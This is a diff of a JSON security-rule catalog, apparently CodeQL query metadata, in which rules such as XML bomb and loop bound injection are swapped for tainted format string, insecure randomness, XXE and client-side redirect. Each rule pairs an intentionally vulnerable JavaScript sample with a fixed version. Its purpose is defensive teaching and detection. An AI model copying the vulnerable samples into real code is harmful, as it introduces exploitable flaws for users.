"js/incomplete-url-scheme-check", - "name" : "js/incomplete-url-scheme-check", + "id" : "js/tainted-format-string", + "name" : "js/tainted-format-string", "shortDescription" : { - "text" : "Incomplete URL scheme check" + "text" : "Use of externally-controlled format string" }, "fullDescription" : { - "text" : "Checking for the \"javascript:\" URL scheme without also checking for \"vbscript:\" and \"data:\" suggests a logic error or even a security vulnerability." + "text" : "Using external input in format strings can lead to garbled output." }, "defaultConfiguration" : { "enabled" : true, "level" : "warning" }, "help" : { - "text" : "# Incomplete URL scheme check\nURLs starting with `javascript:` can be used to encode JavaScript code to be executed when the URL is visited. While this is a powerful mechanism for creating feature-rich and responsive web applications, it is also a potential security risk: if the URL comes from an untrusted source, it might contain harmful JavaScript code. For this reason, many frameworks and libraries first check the URL scheme of any untrusted URL, and reject URLs with the `javascript:` scheme.\n\nHowever, the `data:` and `vbscript:` schemes can be used to represent executable code in a very similar way, so any validation logic that checks against `javascript:`, but not against `data:` and `vbscript:`, is likely to be insufficient.\n\n\n## Recommendation\nAdd checks covering both `data:` and `vbscript:`.\n\n\n## Example\nThe following function validates a (presumably untrusted) URL `url`. If it starts with `javascript:` (case-insensitive and potentially preceded by whitespace), the harmless placeholder URL `about:blank` is returned to prevent code injection; otherwise `url` itself is returned.\n\n\n```javascript\nfunction sanitizeUrl(url) {\n let u = decodeURI(url).trim().toLowerCase();\n if (u.startsWith(\"javascript:\"))\n return \"about:blank\";\n return url;\n}\n\n```\nWhile this check provides partial projection, it should be extended to cover `data:` and `vbscript:` as well:\n\n\n```javascript\nfunction sanitizeUrl(url) {\n let u = decodeURI(url).trim().toLowerCase();\n if (u.startsWith(\"javascript:\") || u.startsWith(\"data:\") || u.startsWith(\"vbscript:\"))\n return \"about:blank\";\n return url;\n}\n\n```\n\n## References\n* WHATWG: [URL schemes](https://wiki.whatwg.org/wiki/URL_schemes).\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n* Common Weakness Enumeration: [CWE-184](https://cwe.mitre.org/data/definitions/184.html).\n", - "markdown" : "# Incomplete URL scheme check\nURLs starting with `javascript:` can be used to encode JavaScript code to be executed when the URL is visited. While this is a powerful mechanism for creating feature-rich and responsive web applications, it is also a potential security risk: if the URL comes from an untrusted source, it might contain harmful JavaScript code. For this reason, many frameworks and libraries first check the URL scheme of any untrusted URL, and reject URLs with the `javascript:` scheme.\n\nHowever, the `data:` and `vbscript:` schemes can be used to represent executable code in a very similar way, so any validation logic that checks against `javascript:`, but not against `data:` and `vbscript:`, is likely to be insufficient.\n\n\n## Recommendation\nAdd checks covering both `data:` and `vbscript:`.\n\n\n## Example\nThe following function validates a (presumably untrusted) URL `url`. If it starts with `javascript:` (case-insensitive and potentially preceded by whitespace), the harmless placeholder URL `about:blank` is returned to prevent code injection; otherwise `url` itself is returned.\n\n\n```javascript\nfunction sanitizeUrl(url) {\n let u = decodeURI(url).trim().toLowerCase();\n if (u.startsWith(\"javascript:\"))\n return \"about:blank\";\n return url;\n}\n\n```\nWhile this check provides partial projection, it should be extended to cover `data:` and `vbscript:` as well:\n\n\n```javascript\nfunction sanitizeUrl(url) {\n let u = decodeURI(url).trim().toLowerCase();\n if (u.startsWith(\"javascript:\") || u.startsWith(\"data:\") || u.startsWith(\"vbscript:\"))\n return \"about:blank\";\n return url;\n}\n\n```\n\n## References\n* WHATWG: [URL schemes](https://wiki.whatwg.org/wiki/URL_schemes).\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n* Common Weakness Enumeration: [CWE-184](https://cwe.mitre.org/data/definitions/184.html).\n" + "text" : "# Use of externally-controlled format string\nFunctions like the Node.js standard library function `util.format` accept a format string that is used to format the remaining arguments by providing inline format specifiers. If the format string contains unsanitized input from an untrusted source, then that string may contain unexpected format specifiers that cause garbled output.\n\n\n## Recommendation\nEither sanitize the input before including it in the format string, or use a `%s` specifier in the format string, and pass the untrusted data as corresponding argument.\n\n\n## Example\nThe following program snippet logs information about an unauthorized access attempt. The log message includes the user name, and the user's IP address is passed as an additional argument to `console.log` to be appended to the message:\n\n\n```javascript\nconst app = require(\"express\")();\n\napp.get(\"unauthorized\", function handler(req, res) {\n let user = req.query.user;\n let ip = req.connection.remoteAddress;\n console.log(\"Unauthorized access attempt by \" + user, ip);\n});\n\n```\nHowever, if a malicious user provides `%d` as their user name, `console.log` will instead attempt to format the `ip` argument as a number. Since IP addresses are not valid numbers, the result of this conversion is `NaN`. The resulting log message will read \"Unauthorized access attempt by NaN\", missing all the information that it was trying to log in the first place.\n\nInstead, the user name should be included using the `%s` specifier:\n\n\n```javascript\nconst app = require(\"express\")();\n\napp.get(\"unauthorized\", function handler(req, res) {\n let user = req.query.user;\n let ip = req.connection.remoteAddress;\n console.log(\"Unauthorized access attempt by %s\", user, ip);\n});\n\n```\n\n## References\n* Node.js Documentation: [util.format](https://nodejs.org/api/util.html#util_util_format_format_args).\n* Common Weakness Enumeration: [CWE-134](https://cwe.mitre.org/data/definitions/134.html).\n", + "markdown" : "# Use of externally-controlled format string\nFunctions like the Node.js standard library function `util.format` accept a format string that is used to format the remaining arguments by providing inline format specifiers. If the format string contains unsanitized input from an untrusted source, then that string may contain unexpected format specifiers that cause garbled output.\n\n\n## Recommendation\nEither sanitize the input before including it in the format string, or use a `%s` specifier in the format string, and pass the untrusted data as corresponding argument.\n\n\n## Example\nThe following program snippet logs information about an unauthorized access attempt. The log message includes the user name, and the user's IP address is passed as an additional argument to `console.log` to be appended to the message:\n\n\n```javascript\nconst app = require(\"express\")();\n\napp.get(\"unauthorized\", function handler(req, res) {\n let user = req.query.user;\n let ip = req.connection.remoteAddress;\n console.log(\"Unauthorized access attempt by \" + user, ip);\n});\n\n```\nHowever, if a malicious user provides `%d` as their user name, `console.log` will instead attempt to format the `ip` argument as a number. Since IP addresses are not valid numbers, the result of this conversion is `NaN`. The resulting log message will read \"Unauthorized access attempt by NaN\", missing all the information that it was trying to log in the first place.\n\nInstead, the user name should be included using the `%s` specifier:\n\n\n```javascript\nconst app = require(\"express\")();\n\napp.get(\"unauthorized\", function handler(req, res) {\n let user = req.query.user;\n let ip = req.connection.remoteAddress;\n console.log(\"Unauthorized access attempt by %s\", user, ip);\n});\n\n```\n\n## References\n* Node.js Documentation: [util.format](https://nodejs.org/api/util.html#util_util_format_format_args).\n* Common Weakness Enumeration: [CWE-134](https://cwe.mitre.org/data/definitions/134.html).\n" }, "properties" : { - "tags" : [ "security", "correctness", "external/cwe/cwe-020", "external/cwe/cwe-184" ], - "description" : "Checking for the \"javascript:\" URL scheme without also checking for \"vbscript:\"\n and \"data:\" suggests a logic error or even a security vulnerability.", - "id" : "js/incomplete-url-scheme-check", - "kind" : "problem", - "name" : "Incomplete URL scheme check", + "tags" : [ "security", "external/cwe/cwe-134" ], + "description" : "Using external input in format strings can lead to garbled output.", + "id" : "js/tainted-format-string", + "kind" : "path-problem", + "name" : "Use of externally-controlled format string", "precision" : "high", "problem.severity" : "warning", - "security-severity" : "7.8" + "security-severity" : "7.3" } }, { - "id" : "js/xml-bomb", - "name" : "js/xml-bomb", + "id" : "js/insecure-randomness", + "name" : "js/insecure-randomness", "shortDescription" : { - "text" : "XML internal entity expansion" + "text" : "Insecure randomness" }, "fullDescription" : { - "text" : "Parsing user input as an XML document with arbitrary internal entity expansion is vulnerable to denial-of-service attacks." + "text" : "Using a cryptographically weak pseudo-random number generator to generate a security-sensitive value may allow an attacker to predict what value will be generated." }, "defaultConfiguration" : { "enabled" : true, "level" : "warning" }, "help" : { - "text" : "# XML internal entity expansion\nParsing untrusted XML files with a weakly configured XML parser may be vulnerable to denial-of-service (DoS) attacks exploiting uncontrolled internal entity expansion.\n\nIn XML, so-called *internal entities* are a mechanism for introducing an abbreviation for a piece of text or part of a document. When a parser that has been configured to expand entities encounters a reference to an internal entity, it replaces the entity by the data it represents. The replacement text may itself contain other entity references, which are expanded recursively. This means that entity expansion can increase document size dramatically.\n\nIf untrusted XML is parsed with entity expansion enabled, a malicious attacker could submit a document that contains very deeply nested entity definitions, causing the parser to take a very long time or use large amounts of memory. This is sometimes called an *XML bomb* attack.\n\n\n## Recommendation\nThe safest way to prevent XML bomb attacks is to disable entity expansion when parsing untrusted data. How this is done depends on the library being used. Note that some libraries, such as recent versions of `libxmljs` (though not its SAX parser API), disable entity expansion by default, so unless you have explicitly enabled entity expansion, no further action is needed.\n\n\n## Example\nThe following example uses the XML parser provided by the `node-expat` package to parse a string `xmlSrc`. If that string is from an untrusted source, this code may be vulnerable to a DoS attack, since `node-expat` expands internal entities by default:\n\n\n```javascript\nconst app = require(\"express\")(),\n expat = require(\"node-expat\");\n\napp.post(\"upload\", (req, res) => {\n let xmlSrc = req.body,\n parser = new expat.Parser();\n parser.on(\"startElement\", handleStart);\n parser.on(\"text\", handleText);\n parser.write(xmlSrc);\n});\n\n```\nAt the time of writing, `node-expat` does not provide a way of controlling entity expansion, but the example could be rewritten to use the `sax` package instead, which only expands standard entities such as `&`:\n\n\n```javascript\nconst app = require(\"express\")(),\n sax = require(\"sax\");\n\napp.post(\"upload\", (req, res) => {\n let xmlSrc = req.body,\n parser = sax.parser(true);\n parser.onopentag = handleStart;\n parser.ontext = handleText;\n parser.write(xmlSrc);\n});\n\n```\n\n## References\n* Wikipedia: [Billion Laughs](https://en.wikipedia.org/wiki/Billion_laughs).\n* Bryan Sullivan: [Security Briefs - XML Denial of Service Attacks and Defenses](https://msdn.microsoft.com/en-us/magazine/ee335713.aspx).\n* Common Weakness Enumeration: [CWE-776](https://cwe.mitre.org/data/definitions/776.html).\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n", - "markdown" : "# XML internal entity expansion\nParsing untrusted XML files with a weakly configured XML parser may be vulnerable to denial-of-service (DoS) attacks exploiting uncontrolled internal entity expansion.\n\nIn XML, so-called *internal entities* are a mechanism for introducing an abbreviation for a piece of text or part of a document. When a parser that has been configured to expand entities encounters a reference to an internal entity, it replaces the entity by the data it represents. The replacement text may itself contain other entity references, which are expanded recursively. This means that entity expansion can increase document size dramatically.\n\nIf untrusted XML is parsed with entity expansion enabled, a malicious attacker could submit a document that contains very deeply nested entity definitions, causing the parser to take a very long time or use large amounts of memory. This is sometimes called an *XML bomb* attack.\n\n\n## Recommendation\nThe safest way to prevent XML bomb attacks is to disable entity expansion when parsing untrusted data. How this is done depends on the library being used. Note that some libraries, such as recent versions of `libxmljs` (though not its SAX parser API), disable entity expansion by default, so unless you have explicitly enabled entity expansion, no further action is needed.\n\n\n## Example\nThe following example uses the XML parser provided by the `node-expat` package to parse a string `xmlSrc`. If that string is from an untrusted source, this code may be vulnerable to a DoS attack, since `node-expat` expands internal entities by default:\n\n\n```javascript\nconst app = require(\"express\")(),\n expat = require(\"node-expat\");\n\napp.post(\"upload\", (req, res) => {\n let xmlSrc = req.body,\n parser = new expat.Parser();\n parser.on(\"startElement\", handleStart);\n parser.on(\"text\", handleText);\n parser.write(xmlSrc);\n});\n\n```\nAt the time of writing, `node-expat` does not provide a way of controlling entity expansion, but the example could be rewritten to use the `sax` package instead, which only expands standard entities such as `&`:\n\n\n```javascript\nconst app = require(\"express\")(),\n sax = require(\"sax\");\n\napp.post(\"upload\", (req, res) => {\n let xmlSrc = req.body,\n parser = sax.parser(true);\n parser.onopentag = handleStart;\n parser.ontext = handleText;\n parser.write(xmlSrc);\n});\n\n```\n\n## References\n* Wikipedia: [Billion Laughs](https://en.wikipedia.org/wiki/Billion_laughs).\n* Bryan Sullivan: [Security Briefs - XML Denial of Service Attacks and Defenses](https://msdn.microsoft.com/en-us/magazine/ee335713.aspx).\n* Common Weakness Enumeration: [CWE-776](https://cwe.mitre.org/data/definitions/776.html).\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n" + "text" : "# Insecure randomness\nUsing a cryptographically weak pseudo-random number generator to generate a security-sensitive value, such as a password, makes it easier for an attacker to predict the value.\n\nPseudo-random number generators generate a sequence of numbers that only approximates the properties of random numbers. The sequence is not truly random because it is completely determined by a relatively small set of initial values, the seed. If the random number generator is cryptographically weak, then this sequence may be easily predictable through outside observations.\n\n\n## Recommendation\nUse a cryptographically secure pseudo-random number generator if the output is to be used in a security-sensitive context. As a rule of thumb, a value should be considered \"security-sensitive\" if predicting it would allow the attacker to perform an action that they would otherwise be unable to perform. For example, if an attacker could predict the random password generated for a new user, they would be able to log in as that new user.\n\nFor JavaScript on the NodeJS platform, `crypto.getRandomBytes` provides a cryptographically secure pseudo-random byte generator. Note that the conversion from bytes to numbers can introduce bias that breaks the security.\n\nFor JavaScript in the browser, `RandomSource.getRandomValues` provides a cryptographically secure pseudo-random number generator.\n\n\n## Example\nThe following examples show different ways of generating a password.\n\nIn the first case, we generate a fresh password by appending a random integer to the end of a static string. The random number generator used (`Math.random`) is not cryptographically secure, so it may be possible for an attacker to predict the generated password.\n\n\n```javascript\nfunction insecurePassword() {\n // BAD: the random suffix is not cryptographically secure\n var suffix = Math.random();\n var password = \"myPassword\" + suffix;\n return password;\n}\n\n```\nIn the second example, a cryptographically secure random number generator is used for the same purpose. In this case, it is much harder to predict the generated integers.\n\n\n```javascript\nfunction securePassword() {\n // GOOD: the random suffix is cryptographically secure\n var suffix = window.crypto.getRandomValues(new Uint32Array(1))[0];\n var password = \"myPassword\" + suffix;\n return password;\n}\n\n```\n\n## References\n* Wikipedia: [Pseudo-random number generator](http://en.wikipedia.org/wiki/Pseudorandom_number_generator).\n* Mozilla Developer Network: [RandomSource.getRandomValues](https://developer.mozilla.org/en-US/docs/Web/API/RandomSource/getRandomValues).\n* NodeJS: [crypto.randomBytes](https://nodejs.org/api/crypto.html#crypto_crypto_randombytes_size_callback)\n* Common Weakness Enumeration: [CWE-338](https://cwe.mitre.org/data/definitions/338.html).\n", + "markdown" : "# Insecure randomness\nUsing a cryptographically weak pseudo-random number generator to generate a security-sensitive value, such as a password, makes it easier for an attacker to predict the value.\n\nPseudo-random number generators generate a sequence of numbers that only approximates the properties of random numbers. The sequence is not truly random because it is completely determined by a relatively small set of initial values, the seed. If the random number generator is cryptographically weak, then this sequence may be easily predictable through outside observations.\n\n\n## Recommendation\nUse a cryptographically secure pseudo-random number generator if the output is to be used in a security-sensitive context. As a rule of thumb, a value should be considered \"security-sensitive\" if predicting it would allow the attacker to perform an action that they would otherwise be unable to perform. For example, if an attacker could predict the random password generated for a new user, they would be able to log in as that new user.\n\nFor JavaScript on the NodeJS platform, `crypto.getRandomBytes` provides a cryptographically secure pseudo-random byte generator. Note that the conversion from bytes to numbers can introduce bias that breaks the security.\n\nFor JavaScript in the browser, `RandomSource.getRandomValues` provides a cryptographically secure pseudo-random number generator.\n\n\n## Example\nThe following examples show different ways of generating a password.\n\nIn the first case, we generate a fresh password by appending a random integer to the end of a static string. The random number generator used (`Math.random`) is not cryptographically secure, so it may be possible for an attacker to predict the generated password.\n\n\n```javascript\nfunction insecurePassword() {\n // BAD: the random suffix is not cryptographically secure\n var suffix = Math.random();\n var password = \"myPassword\" + suffix;\n return password;\n}\n\n```\nIn the second example, a cryptographically secure random number generator is used for the same purpose. In this case, it is much harder to predict the generated integers.\n\n\n```javascript\nfunction securePassword() {\n // GOOD: the random suffix is cryptographically secure\n var suffix = window.crypto.getRandomValues(new Uint32Array(1))[0];\n var password = \"myPassword\" + suffix;\n return password;\n}\n\n```\n\n## References\n* Wikipedia: [Pseudo-random number generator](http://en.wikipedia.org/wiki/Pseudorandom_number_generator).\n* Mozilla Developer Network: [RandomSource.getRandomValues](https://developer.mozilla.org/en-US/docs/Web/API/RandomSource/getRandomValues).\n* NodeJS: [crypto.randomBytes](https://nodejs.org/api/crypto.html#crypto_crypto_randombytes_size_callback)\n* Common Weakness Enumeration: [CWE-338](https://cwe.mitre.org/data/definitions/338.html).\n" }, "properties" : { - "tags" : [ "security", "external/cwe/cwe-776", "external/cwe/cwe-400" ], - "description" : "Parsing user input as an XML document with arbitrary internal\n entity expansion is vulnerable to denial-of-service attacks.", - "id" : "js/xml-bomb", + "tags" : [ "security", "external/cwe/cwe-338" ], + "description" : "Using a cryptographically weak pseudo-random number generator to generate a\n security-sensitive value may allow an attacker to predict what value will\n be generated.", + "id" : "js/insecure-randomness", "kind" : "path-problem", - "name" : "XML internal entity expansion", + "name" : "Insecure randomness", "precision" : "high", "problem.severity" : "warning", - "security-severity" : "7.5" + "security-severity" : "7.8" } }, { - "id" : "js/loop-bound-injection", - "name" : "js/loop-bound-injection", + "id" : "js/xxe", + "name" : "js/xxe", "shortDescription" : { - "text" : "Loop bound injection" + "text" : "XML external entity expansion" }, "fullDescription" : { - "text" : "Iterating over an object with a user-controlled .length property can cause indefinite looping." + "text" : "Parsing user input as an XML document with external entity expansion is vulnerable to XXE attacks." }, "defaultConfiguration" : { "enabled" : true, - "level" : "warning" + "level" : "error" }, "help" : { - "text" : "# Loop bound injection\nUsing the `.length` property of an untrusted object as a loop bound may cause indefinite looping since a malicious attacker can set the `.length` property to a very large number. For example, when a program that expects an array is passed a JSON object such as `{length: 1e100}`, the loop will be run for 10100 iterations. This may cause the program to hang or run out of memory, which can be used to mount a denial-of-service (DoS) attack.\n\n\n## Recommendation\nEither check that the object is indeed an array or limit the size of the `.length` property.\n\n\n## Example\nIn the example below, an HTTP request handler iterates over a user-controlled object `obj` using the `obj.length` property in order to copy the elements from `obj` to an array.\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n\napp.post(\"/foo\", (req, res) => {\n var obj = req.body;\n\n var ret = [];\n\n // Potential DoS if obj.length is large.\n for (var i = 0; i < obj.length; i++) {\n ret.push(obj[i]);\n }\n});\n\n```\nThis is not secure since an attacker can control the value of `obj.length`, and thereby cause the loop to iterate indefinitely. Here the potential DoS is fixed by enforcing that the user-controlled object is an array.\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n\napp.post(\"/foo\", (req, res) => {\n var obj = req.body;\n \n if (!(obj instanceof Array)) { // Prevents DoS.\n return [];\n }\n\n var ret = [];\n\n for (var i = 0; i < obj.length; i++) {\n ret.push(obj[i]);\n }\n});\n\n```\n\n## References\n* Common Weakness Enumeration: [CWE-834](https://cwe.mitre.org/data/definitions/834.html).\n* Common Weakness Enumeration: [CWE-730](https://cwe.mitre.org/data/definitions/730.html).\n", - "markdown" : "# Loop bound injection\nUsing the `.length` property of an untrusted object as a loop bound may cause indefinite looping since a malicious attacker can set the `.length` property to a very large number. For example, when a program that expects an array is passed a JSON object such as `{length: 1e100}`, the loop will be run for 10100 iterations. This may cause the program to hang or run out of memory, which can be used to mount a denial-of-service (DoS) attack.\n\n\n## Recommendation\nEither check that the object is indeed an array or limit the size of the `.length` property.\n\n\n## Example\nIn the example below, an HTTP request handler iterates over a user-controlled object `obj` using the `obj.length` property in order to copy the elements from `obj` to an array.\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n\napp.post(\"/foo\", (req, res) => {\n var obj = req.body;\n\n var ret = [];\n\n // Potential DoS if obj.length is large.\n for (var i = 0; i < obj.length; i++) {\n ret.push(obj[i]);\n }\n});\n\n```\nThis is not secure since an attacker can control the value of `obj.length`, and thereby cause the loop to iterate indefinitely. Here the potential DoS is fixed by enforcing that the user-controlled object is an array.\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n\napp.post(\"/foo\", (req, res) => {\n var obj = req.body;\n \n if (!(obj instanceof Array)) { // Prevents DoS.\n return [];\n }\n\n var ret = [];\n\n for (var i = 0; i < obj.length; i++) {\n ret.push(obj[i]);\n }\n});\n\n```\n\n## References\n* Common Weakness Enumeration: [CWE-834](https://cwe.mitre.org/data/definitions/834.html).\n* Common Weakness Enumeration: [CWE-730](https://cwe.mitre.org/data/definitions/730.html).\n" + "text" : "# XML external entity expansion\nParsing untrusted XML files with a weakly configured XML parser may lead to an XML External Entity (XXE) attack. This type of attack uses external entity references to access arbitrary files on a system, carry out denial-of-service (DoS) attacks, or server-side request forgery. Even when the result of parsing is not returned to the user, DoS attacks are still possible and out-of-band data retrieval techniques may allow attackers to steal sensitive data.\n\n\n## Recommendation\nThe easiest way to prevent XXE attacks is to disable external entity handling when parsing untrusted data. How this is done depends on the library being used. Note that some libraries, such as recent versions of `libxml`, disable entity expansion by default, so unless you have explicitly enabled entity expansion, no further action needs to be taken.\n\n\n## Example\nThe following example uses the `libxml` XML parser to parse a string `xmlSrc`. If that string is from an untrusted source, this code may be vulnerable to an XXE attack, since the parser is invoked with the `noent` option set to `true`:\n\n\n```javascript\nconst app = require(\"express\")(),\n libxml = require(\"libxmljs\");\n\napp.post(\"upload\", (req, res) => {\n let xmlSrc = req.body,\n doc = libxml.parseXml(xmlSrc, { noent: true });\n});\n\n```\nTo guard against XXE attacks, the `noent` option should be omitted or set to `false`. This means that no entity expansion is undertaken at all, not even for standard internal entities such as `&` or `>`. If desired, these entities can be expanded in a separate step using utility functions provided by libraries such as [underscore](http://underscorejs.org/#unescape), [lodash](https://lodash.com/docs/4.17.15#unescape) or [he](https://github.com/mathiasbynens/he).\n\n\n```javascript\nconst app = require(\"express\")(),\n libxml = require(\"libxmljs\");\n\napp.post(\"upload\", (req, res) => {\n let xmlSrc = req.body,\n doc = libxml.parseXml(xmlSrc);\n});\n\n```\n\n## References\n* OWASP: [XML External Entity (XXE) Processing](https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing).\n* Timothy Morgen: [XML Schema, DTD, and Entity Attacks](https://research.nccgroup.com/2014/05/19/xml-schema-dtd-and-entity-attacks-a-compendium-of-known-techniques/).\n* Timur Yunusov, Alexey Osipov: [XML Out-Of-Band Data Retrieval](https://www.slideshare.net/qqlan/bh-ready-v4).\n* Common Weakness Enumeration: [CWE-611](https://cwe.mitre.org/data/definitions/611.html).\n* Common Weakness Enumeration: [CWE-827](https://cwe.mitre.org/data/definitions/827.html).\n", + "markdown" : "# XML external entity expansion\nParsing untrusted XML files with a weakly configured XML parser may lead to an XML External Entity (XXE) attack. This type of attack uses external entity references to access arbitrary files on a system, carry out denial-of-service (DoS) attacks, or server-side request forgery. Even when the result of parsing is not returned to the user, DoS attacks are still possible and out-of-band data retrieval techniques may allow attackers to steal sensitive data.\n\n\n## Recommendation\nThe easiest way to prevent XXE attacks is to disable external entity handling when parsing untrusted data. How this is done depends on the library being used. Note that some libraries, such as recent versions of `libxml`, disable entity expansion by default, so unless you have explicitly enabled entity expansion, no further action needs to be taken.\n\n\n## Example\nThe following example uses the `libxml` XML parser to parse a string `xmlSrc`. If that string is from an untrusted source, this code may be vulnerable to an XXE attack, since the parser is invoked with the `noent` option set to `true`:\n\n\n```javascript\nconst app = require(\"express\")(),\n libxml = require(\"libxmljs\");\n\napp.post(\"upload\", (req, res) => {\n let xmlSrc = req.body,\n doc = libxml.parseXml(xmlSrc, { noent: true });\n});\n\n```\nTo guard against XXE attacks, the `noent` option should be omitted or set to `false`. This means that no entity expansion is undertaken at all, not even for standard internal entities such as `&` or `>`. If desired, these entities can be expanded in a separate step using utility functions provided by libraries such as [underscore](http://underscorejs.org/#unescape), [lodash](https://lodash.com/docs/4.17.15#unescape) or [he](https://github.com/mathiasbynens/he).\n\n\n```javascript\nconst app = require(\"express\")(),\n libxml = require(\"libxmljs\");\n\napp.post(\"upload\", (req, res) => {\n let xmlSrc = req.body,\n doc = libxml.parseXml(xmlSrc);\n});\n\n```\n\n## References\n* OWASP: [XML External Entity (XXE) Processing](https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing).\n* Timothy Morgen: [XML Schema, DTD, and Entity Attacks](https://research.nccgroup.com/2014/05/19/xml-schema-dtd-and-entity-attacks-a-compendium-of-known-techniques/).\n* Timur Yunusov, Alexey Osipov: [XML Out-Of-Band Data Retrieval](https://www.slideshare.net/qqlan/bh-ready-v4).\n* Common Weakness Enumeration: [CWE-611](https://cwe.mitre.org/data/definitions/611.html).\n* Common Weakness Enumeration: [CWE-827](https://cwe.mitre.org/data/definitions/827.html).\n" }, "properties" : { - "tags" : [ "security", "external/cwe/cwe-834", "external/cwe/cwe-730" ], - "description" : "Iterating over an object with a user-controlled .length\n property can cause indefinite looping.", - "id" : "js/loop-bound-injection", + "tags" : [ "security", "external/cwe/cwe-611", "external/cwe/cwe-827" ], + "description" : "Parsing user input as an XML document with external\n entity expansion is vulnerable to XXE attacks.", + "id" : "js/xxe", "kind" : "path-problem", - "name" : "Loop bound injection", + "name" : "XML external entity expansion", "precision" : "high", - "problem.severity" : "warning", - "security-severity" : "7.5" + "problem.severity" : "error", + "security-severity" : "9.1" } }, { - "id" : "js/exposure-of-private-files", - "name" : "js/exposure-of-private-files", + "id" : "js/client-side-unvalidated-url-redirection", + "name" : "js/client-side-unvalidated-url-redirection", "shortDescription" : { - "text" : "Exposure of private files" + "text" : "Client-side URL redirect" }, "fullDescription" : { - "text" : "Exposing a node_modules folder, or the project folder to the public, can cause exposure of private information." + "text" : "Client-side URL redirection based on unvalidated user input may cause redirection to malicious web sites." }, "defaultConfiguration" : { "enabled" : true, - "level" : "warning" + "level" : "error" }, "help" : { - "text" : "# Exposure of private files\nLibraries like `express` provide easy methods for serving entire directories of static files from a web server. However, using these can sometimes lead to accidental information exposure. If for example the `node_modules` folder is served, then an attacker can access the `_where` field from a `package.json` file, which gives access to the absolute path of the file.\n\n\n## Recommendation\nLimit which folders of static files are served from a web server.\n\n\n## Example\nIn the example below, all the files from the `node_modules` are served. This allows clients to easily access all the files inside that folder, which includes potentially private information inside `package.json` files.\n\n\n```javascript\n\nvar express = require('express');\n\nvar app = express();\n\napp.use('/node_modules', express.static(path.resolve(__dirname, '../node_modules')));\n```\nThe issue has been fixed below by only serving specific folders within the `node_modules` folder.\n\n\n```javascript\n\nvar express = require('express');\n\nvar app = express();\n\napp.use(\"jquery\", express.static('./node_modules/jquery/dist'));\napp.use(\"bootstrap\", express.static('./node_modules/bootstrap/dist'));\n```\n\n## References\n* OWASP: [Sensitive Data Exposure](https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure).\n* Common Weakness Enumeration: [CWE-200](https://cwe.mitre.org/data/definitions/200.html).\n* Common Weakness Enumeration: [CWE-219](https://cwe.mitre.org/data/definitions/219.html).\n* Common Weakness Enumeration: [CWE-548](https://cwe.mitre.org/data/definitions/548.html).\n", - "markdown" : "# Exposure of private files\nLibraries like `express` provide easy methods for serving entire directories of static files from a web server. However, using these can sometimes lead to accidental information exposure. If for example the `node_modules` folder is served, then an attacker can access the `_where` field from a `package.json` file, which gives access to the absolute path of the file.\n\n\n## Recommendation\nLimit which folders of static files are served from a web server.\n\n\n## Example\nIn the example below, all the files from the `node_modules` are served. This allows clients to easily access all the files inside that folder, which includes potentially private information inside `package.json` files.\n\n\n```javascript\n\nvar express = require('express');\n\nvar app = express();\n\napp.use('/node_modules', express.static(path.resolve(__dirname, '../node_modules')));\n```\nThe issue has been fixed below by only serving specific folders within the `node_modules` folder.\n\n\n```javascript\n\nvar express = require('express');\n\nvar app = express();\n\napp.use(\"jquery\", express.static('./node_modules/jquery/dist'));\napp.use(\"bootstrap\", express.static('./node_modules/bootstrap/dist'));\n```\n\n## References\n* OWASP: [Sensitive Data Exposure](https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure).\n* Common Weakness Enumeration: [CWE-200](https://cwe.mitre.org/data/definitions/200.html).\n* Common Weakness Enumeration: [CWE-219](https://cwe.mitre.org/data/definitions/219.html).\n* Common Weakness Enumeration: [CWE-548](https://cwe.mitre.org/data/definitions/548.html).\n" + "text" : "# Client-side URL redirect\nRedirecting to a URL that is constructed from parts of the DOM that may be controlled by an attacker can facilitate phishing attacks. In these attacks, unsuspecting users can be redirected to a malicious site that looks very similar to the real site they intend to visit, but which is controlled by the attacker.\n\n\n## Recommendation\nTo guard against untrusted URL redirection, it is advisable to avoid putting user input directly into a redirect URL. Instead, maintain a list of authorized redirects on the server; then choose from that list based on the user input provided.\n\n\n## Example\nThe following example uses a regular expression to extract a query parameter from the document URL, and then uses it to construct a new URL to redirect to without any further validation. This may allow an attacker to craft a link that redirects from a trusted website to some arbitrary website of their choosing, which facilitates phishing attacks:\n\n\n```javascript\nwindow.location = /.*redirect=([^&]*).*/.exec(document.location.href)[1];\n\n```\n\n## References\n* OWASP: [ XSS Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n* Common Weakness Enumeration: [CWE-601](https://cwe.mitre.org/data/definitions/601.html).\n", + "markdown" : "# Client-side URL redirect\nRedirecting to a URL that is constructed from parts of the DOM that may be controlled by an attacker can facilitate phishing attacks. In these attacks, unsuspecting users can be redirected to a malicious site that looks very similar to the real site they intend to visit, but which is controlled by the attacker.\n\n\n## Recommendation\nTo guard against untrusted URL redirection, it is advisable to avoid putting user input directly into a redirect URL. Instead, maintain a list of authorized redirects on the server; then choose from that list based on the user input provided.\n\n\n## Example\nThe following example uses a regular expression to extract a query parameter from the document URL, and then uses it to construct a new URL to redirect to without any further validation. This may allow an attacker to craft a link that redirects from a trusted website to some arbitrary website of their choosing, which facilitates phishing attacks:\n\n\n```javascript\nwindow.location = /.*redirect=([^&]*).*/.exec(document.location.href)[1];\n\n```\n\n## References\n* OWASP: [ XSS Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: 